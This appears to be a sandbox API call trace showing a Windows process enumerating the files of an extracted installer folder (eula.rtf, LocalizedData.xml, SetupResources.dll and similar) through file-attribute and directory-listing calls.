	[0073.727] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf)) returned 1
	[0074.276] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.276] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.276] SetEvent (hEvent=0xe4) returned 1
	[0074.276] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076" (normalized: "c:\\588bce7c90097ed212\\3076"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0074.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076" (normalized: "c:\\588bce7c90097ed212\\3076"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0074.276] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0074.277] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.277] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0074.277] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0074.277] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0074.277] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0074.277] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0074.277] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0074.277] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90)) returned 1
	[0074.278] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.278] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758)) returned 1
	[0074.278] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.278] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5)) returned 1
	[0074.278] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.278] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.279] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082" (normalized: "c:\\588bce7c90097ed212\\3082"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0074.279] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082" (normalized: "c:\\588bce7c90097ed212\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0074.279] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0074.279] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.280] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0074.280] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0074.280] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0074.280] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0074.280] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0074.280] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0074.280] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c)) returned 1
	[0074.280] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.280] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0074.281] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.281] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd)) returned 1
	[0074.281] VirtualAlloc (lpAddress=0xc000446000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000446000
	[0074.281] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.281] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.282] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client" (normalized: "c:\\588bce7c90097ed212\\client"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0074.429] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0074.672] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client" (normalized: "c:\\588bce7c90097ed212\\client"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0074.675] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0074.677] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.677] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0074.677] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0074.677] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0074.677] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0074.678] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0074.678] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444)) returned 1
	[0074.678] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0074.678] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882)) returned 1
	[0075.080] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0075.080] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6)) returned 1
	[0075.080] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.080] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.080] SetEvent (hEvent=0x17c) returned 1
	[0075.080] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5)) returned 1
	[0075.176] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0075.176] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Extended" (normalized: "c:\\588bce7c90097ed212\\extended"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0075.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended" (normalized: "c:\\588bce7c90097ed212\\extended"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0075.176] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0075.177] VirtualAlloc (lpAddress=0xc0003ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ec000
	[0075.177] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
